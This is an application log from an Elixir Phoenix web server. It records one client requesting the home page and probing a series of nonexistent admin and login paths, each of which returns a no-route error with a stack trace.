[Thu Sep  3 08:05:44.212000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48306] GET /
[Thu Sep  3 08:05:44.212000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48306] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:05:44.213000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48306] Sent 200 in 1ms
[Thu Sep  3 08:05:47.176000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48308] GET /
[Thu Sep  3 08:05:47.176000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48308] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:05:47.177000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48308] Sent 200 in 1ms
[Thu Sep  3 08:05:50.593000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48328] GET /login.php
[Thu Sep  3 08:05:50.612000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48328] ** (Phoenix.Router.NoRouteError) no route found for GET /login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:51.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48318] GET /
[Thu Sep  3 08:05:51.080000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48318] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:05:51.080000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48318] Sent 200 in 1ms
[Thu Sep  3 08:05:51.148000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48340] GET /qsoap.qap
[Thu Sep  3 08:05:51.175000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48340] ** (Phoenix.Router.NoRouteError) no route found for GET /qsoap.qap (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:55.120000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41296] GET /nacos/
[Thu Sep  3 08:05:55.135000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41296] ** (Phoenix.Router.NoRouteError) no route found for GET /nacos (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:00.836000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41308] GET /
[Thu Sep  3 08:06:00.837000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:41308] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:00.837000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41308] Sent 200 in 912µs
[Thu Sep  3 08:06:03.718000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46860] GET /
[Thu Sep  3 08:06:03.719000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46860] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:03.719000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46860] Sent 200 in 835µs
[Thu Sep  3 08:06:05.756000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46868] GET /
[Thu Sep  3 08:06:05.757000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46868] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:05.758000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46868] Sent 200 in 1ms
[Thu Sep  3 08:06:12.806000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46872] GET /mod_gzip_status
[Thu Sep  3 08:06:12.825000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46872] ** (Phoenix.Router.NoRouteError) no route found for GET /mod_gzip_status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:15.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57826] GET /
[Thu Sep  3 08:06:15.211000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:57826] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:15.212000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57826] Sent 200 in 1ms
[Thu Sep  3 08:06:16.011000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57826] GET //Help.action
[Thu Sep  3 08:06:16.063000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57826] ** (Phoenix.Router.NoRouteError) no route found for GET /Help.action (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:18.221000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57832] GET /esm_login.asp
[Thu Sep  3 08:06:18.249000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57832] ** (Phoenix.Router.NoRouteError) no route found for GET /esm_login.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:20.610000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57848] GET /server-manager/
[Thu Sep  3 08:06:20.655000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57848] ** (Phoenix.Router.NoRouteError) no route found for GET /server-manager (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:23.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44688] GET /
[Thu Sep  3 08:06:23.227000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44688] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:23.228000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44688] Sent 200 in 917µs
[Thu Sep  3 08:06:24.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44698] GET /
[Thu Sep  3 08:06:24.114000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44698] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:24.115000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44698] Sent 200 in 922µs
[Thu Sep  3 08:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms queue=0.1ms idle=1003.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:06:24.963000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44712] GET /
[Thu Sep  3 08:06:24.964000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44712] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:24.965000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44712] Sent 200 in 1ms
[Thu Sep  3 08:06:26.489000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44716] GET /
[Thu Sep  3 08:06:26.490000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44716] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:26.492000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44716] Sent 200 in 2ms
[Thu Sep  3 08:06:27.441000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44730] GET /login.html
[Thu Sep  3 08:06:27.470000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44730] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:34.028000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53922] GET /Explorer/index.html
[Thu Sep  3 08:06:34.058000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53922] ** (Phoenix.Router.NoRouteError) no route found for GET /Explorer/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:38.524000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53924] GET /uddipublic/default.aspx
[Thu Sep  3 08:06:38.543000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53924] ** (Phoenix.Router.NoRouteError) no route found for GET /uddipublic/default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:39.164000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53936] GET /uddi/default.aspx
[Thu Sep  3 08:06:39.195000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53936] ** (Phoenix.Router.NoRouteError) no route found for GET /uddi/default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:39.873000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53940] GET /sabin/SiteAdmin.htm
[Thu Sep  3 08:06:39.902000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53940] ** (Phoenix.Router.NoRouteError) no route found for GET /sabin/SiteAdmin.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:43.407000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53944] GET /
[Thu Sep  3 08:06:43.407000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53944] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:43.410000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53944] Sent 200 in 3ms
[Thu Sep  3 08:06:45.809000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38826] GET /reporter/client.jsp
[Thu Sep  3 08:06:45.837000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38826] ** (Phoenix.Router.NoRouteError) no route found for GET /reporter/client.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:50.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38832] GET /index.exp
[Thu Sep  3 08:06:50.219000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38832] ** (Phoenix.Router.NoRouteError) no route found for GET /index.exp (DaProductAppWeb.Router)
